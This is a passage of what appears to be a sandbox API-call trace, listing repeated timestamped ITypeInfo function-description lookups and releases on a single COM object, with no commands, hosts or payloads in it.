0x0 [0053.515] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x41, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.515] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.515] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x42, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.515] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.515] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x43, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.515] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.515] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x44, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.516] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.516] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x45, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.516] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.516] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x46, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.516] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.516] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x47, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.516] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.516] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x48, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.516] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.516] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x49, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.516] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.516] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x4a, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.516] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.516] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x4b, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.516] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.516] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x4c, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.516] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.516] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x4d, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.516] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.516] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x4e, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.516] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.516] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x4f, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.516] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.516] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x50, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.516] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.516] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x51, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.516] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.516] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x52, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.516] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.516] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x53, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.516] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.516] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x54, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.516] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.516] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x55, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.516] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.516] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x56, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.516] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.516] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x57, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.516] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.516] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x58, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.516] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.516] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x59, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.516] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.516] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x5a, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.516] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.516] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x5b, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.516] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.516] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x5c, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.517] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.517] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x5d, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.517] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.517] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x5e, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.517] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.517] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x5f, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.517] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.517] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x60, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.517] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.517] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x61, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.517] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.517] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x62, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.517] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.517] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x63, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.517] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.517] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x64, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.517] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.517] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x65, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.517] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.517] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x66, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.517] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.517] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x67, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.517] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.517] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x68, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.517] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.517] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x69, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.517] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.517] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x6a, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.517] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.517] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x6b, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.517] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.517] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x6c, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.517] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.517] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x6d, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.517] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.517] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x6e, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.517] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.517] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x6f, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.517] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.517] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x70, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.517] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.517] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x71, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.517] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.517] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x72, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.517] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.517] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x73, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.517] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.517] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x74, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.518] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.518] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x75, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.518] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.518] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x76, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.518] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.518] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x77, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.518] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.518] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x78, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.518] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.518] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x79, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.518] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.518] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x7a, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.518] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.518] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x7b, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.518] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.518] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x7c, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.518] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.518] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x7d, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.518] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.518] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x7e, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.518] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.518] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x7f, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.518] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.518] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x80, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.518] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.518] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x81, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.518] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.518] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x82, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.518] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.518] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x83, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.518] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.518] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x84, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.518] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.518] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x85, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.518] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.518] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x86, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.518] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.518] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x87, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.518] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.518] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x88, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.518] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.518] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x89, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.518] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.518] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x8a, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.518] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.518] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x8b, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.518] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.518] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x8c, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.519] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.519] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x8d, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.519] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.519] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x8e, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.519] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.519] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x8f, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.519] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.519] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x90, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.519] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.519] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x91, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.519] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.519] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x92, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.519] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.519] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x93, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.519] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.519] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x94, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.519] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.519] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x95, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.519] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.519] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x96, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.519] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.519] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x97, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.519] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.519] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x98, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.519] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.519] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x99, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.519] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.519] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x9a, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.519] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.519] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x9b, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.519] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.519] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x9c, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.519] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.519] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x9d, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.519] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.519] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x9e, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.519] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.519] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x9f, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.519] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.519] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa0, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.519] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.519] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa1, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.520] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.520] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa2, ppFuncDesc=0x127328, pDummy=0x140 | out: ppFuncDesc=0x127328, pDummy=0x140) returned 0x0 [0053.520] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.520] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa3, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.520] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.520] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa4, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.520] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.520] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa5, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.520] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.520] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa6, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.520] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.520] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa7, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.520] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.520] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa8, ppFuncDesc=0x127328, pDummy=0x100 | out: ppFuncDesc=0x127328, pDummy=0x100) returned 0x0 [0053.520] 